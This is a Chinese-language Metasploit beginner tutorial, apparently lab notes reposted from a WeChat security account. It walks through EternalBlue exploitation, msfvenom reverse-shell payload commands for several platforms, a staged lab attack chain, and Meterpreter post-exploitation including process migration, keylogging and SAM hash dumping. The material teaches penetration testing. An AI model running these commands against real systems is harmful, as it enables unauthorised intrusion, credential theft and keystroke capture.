Metasploit入门
msf
支持渗透测试参与的所有阶段,从信息收集到开发后
模块在
/opt/metasploit-framework/embedded/framework/modules
Auxiliary辅助
tree -L auxiliary/
Encoders
tree -L encoders/
Evasion 规避
tree -L evasion/
Exploit
tree -L exploit/
NOPs (No operation)无操作
tree -L 1 nops/
它们在带有 0x90 的 Intel x86 CPU 系列中表示,之后 CPU 在一个周期内将不执行任何操作。它们通常用作缓冲区,以实现一致的payload大小
Payloads
tree -L 1 payloads/
Adapters:适配器包装单个payload以将其转换为不同的格式。例如,普通的单个payload可以包装在 Powershell 适配器中,这将生成一个将执行payload的 powershell 命令
Singles:独立的payload(添加用户、启动notepad.exe等)
Stagers:负责在Metasploit和目标系统之间建立连接通道。在使用暂存payload时很有用。“暂存payload”将首先在目标系统上上传暂存器,然后下载其余payload(暂存)。这提供了一些优势,因为与一次发送的完整payload相比,payload的初始大小相对较小
Stages:阶段:由暂存器下载。这将允许您使用更大尺寸的payload。
Post
tree -L 1 post/
启动!
msfconsole
支持大部分Linux命令,但不支持重定向
history
之前输入的命令
search
search ms17
可以使用cve编号,漏洞名称等
use
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
use就进入了其中
info 模块详细信息
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
show options 列出命令所需要配置的参数
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.220.191 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) >
告诉了你,需要设置的变量, RHOSTS 和 RPORT
常用参数:
RHOSTS:remote host(目标主机)
可以设置单个 IP 地址或网络范围。这将支持 CIDR(无类别域间路由)表示法(/24、/16 等)或网络范围 (10.10.10.x – 10.10.10.y)。
还可以使用列出目标的文件,每行一个目标,使用 set file:/path/of/the/target_file.txt
RPORT:remote port
目标主机上的被攻击的端口
PYALOAD:
LHOST:攻击机IP地址
LPORT:本地端口
用于反向shell连接的端口
SESSION:会话
使用 Metasploit 与目标系统建立的每个连接都将有一个会话 ID。将其与开发后模块一起使用,这些模块将使用现有连接,连接到目标系统。
set 配置参数
msf6 exploit(windows/smb/ms17_010_eternalblue) >set RHOSTS 10.10.156.156
unset 清除参数, 支持unset all
type
msf6 > search type:auxiliary telnet
搜索结果只包含辅助模块,我们可以将类型设置为辅助模块
back
msf6 auxiliary(scanner/ssh/ssh_login) > back
msf6 > Interrupt: use the 'exit' command to quit
msf6 >
使用模块
配置好参数后
exploit/run
The exploit -z
command will run the exploit and background the session as soon as it opens
Session
成功利用漏洞后,会创建一个会话,是目标主机和Metasploit之间建立的通信
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) >
background:会话在后台运行 ctrl + z也可以
session 查看现有对话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
要想与任何会话对话,session -i 会话Id
msf6 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITYSYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
2 meterpreter x64/windows NT AUTHORITYSYSTEM @ JON-PC 10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)
msf6 > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
Port Scanning
感觉不如nmap好用。
可以直接运行nmap
UDP service Identification
UDP服务识别
scanner/discovery/udp_sweep
模块将允许快速识别通过 UDP
直接use run 就行了
SMB Scans
msf6 auxiliary(scanner/smb/smb_version) > run
[+] 10.10.12.229:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP ) (signatures:optional)
[*] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
需要配置SMBuser,pass_file和rhosts
Metasploit database
在kali上启动数据库
systemctl start postgresql
msfdb init
msfconsole
Metasploit连接数据库
msf6 > db_status
其中有许多工作区来区分项目
msf6 > workspace
创建工作区
msf6 > workspace -a tryhackme
切换工作区
msf6 > workspace 工作区名称
详情-h
msf > workspace -h
这样扫描的结果就会保存在数据库中
msf6 > db_nmap -sV -p- 10.10.12.229
与 -S
该参数一起使用的 services 命令将允许您在环境中搜索特定服务
msf6 > services -S netbios
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.12.229 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
msf6 >
利用漏洞时,show payloads
根据需要改变相应payload
msf6 > set payload 1
当连接到系统后,
操作完
ctrl + z 作为后台
session 显示会话
使用 session -i Id 进入会话
C:Windowssystem32>^Z
Background session 1? [y/N] y
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.10.186.44:4444 -> 10.10.12.229:49366 (10.10.12.229)
msf6 exploit(windows/smb/ms17_010_eternalblue) >
background 的目的是会话升级
sessions -u 1
sessions
发现了升级后为session 2
sessions -i 2
meterpreter >
Meterpreter shell 是 Metasploit 框架中一个强大的工具,用于在受感染的目标系统上执行各种操作。它提供了一个交互式的 shell 界面,使得渗透测试人员可以在目标系统上执行各种命令、浏览文件系统、收集信息等
ctrl + c 退出会话
meteploit利用
使用Msfvenom生成payload
根据目标系统配置,生成payload
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
php的需要更改一下
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
这些都是反向payload,所有需要
exploit/multi/handler模块监听攻击机才能处理
所有LHOST攻击机地址,LPOST本地端口
列出支持的输出格式
msfvenom --list formats
利用实例
- 1. 知道一个用户murphy 密码1q2w3e4r
ssh -p 22 mruphy@目标IP
- 2. 连接后,发现是Linux系统,提权
sudo su
- 3. 在攻击机上创建反向payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
- 4. 在同一个目录下启一个HTTP服务器
python3 -m http.server 9000
- 5. 在目标机上使用wget将rev_shell.elf下载到目标机上
- 6. msfconsole
- 7. 找到反向监听攻击机的模块exploit/multi/handler
- 8. show options利用
- 9. payload 也找Linux meterpreter reverse_tcp 配置好
run
- 10. 成功在目标计算机上获取metepreter会话
- 11. 利用hashmap模块获取目标系统上的其他用户的hash值
- 12. search Linux gather hashdump
- 13. 利用相应模块,set session 1
- 14. 得到其他用户的hash值
Metepreter
是一种Metasploit的payload,它支持许多有价值的组件的渗透过程,Metepreter在目标系统上运行,并在命令和控制架构中充当代理,将于目标操作系统进行交互。
metepreter它在目标系统的内存中运行,而且在目标系统上会隐藏自己的进程,
metepreter > getpid
Current pid: 1304
结果在目标系统上看1304不是metepreter
msfvenom payloads查询:
root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP
java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS
java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
linux/aarch64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
linux/armle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker [...]
metepreter命令
直接help就行
metepreter > help
显示当前正在运行的用户
getuid
可以了自己在目标系统上的权限级别
正在运行的ps进程
ps
migrate 迁移
利用PID迁移
The migrate command
migrate 命令
meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.
meterpreter >
如果在目标上运行了一个文字处理器(eg:word.exe、notepad.exe),可以迁移到此进程并捕获用户的输入
keyscan_start
keyscan_stop
keyscan _dump
使metepreter像键盘记录器一样。
hashdump
SAM(安全账户管理器)数据库将用户的密码存储在windows系统上,这些密码以NTLM(New Technology LAN Manager)格式存储
hashdump命令将列出SAM数据库的内容
search
search -f
meterpreter > search -f flag2.txt
Found 1 result...
c:WindowsSystem32configflag2.txt (34 bytes)
meterpreter > cat "c:WindowsSystem32configflag2.txt"
Shell 壳
The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell. shell 命令将在目标系统上启动常规命令行 shell。按 CTRL+Z 将帮助您返回 Meterpreter shell。
The shell command shell 命令
meterpreter > shell
Process 2124 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:Windowssystem32>
Metepreter提供了几个重要的post-exploitation tools
kiwi
meterpreter > load kiwi
meterpreter > help
原文始发于微信公众号(SKSEC):【表哥有话说 第111期】Metasploit入门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论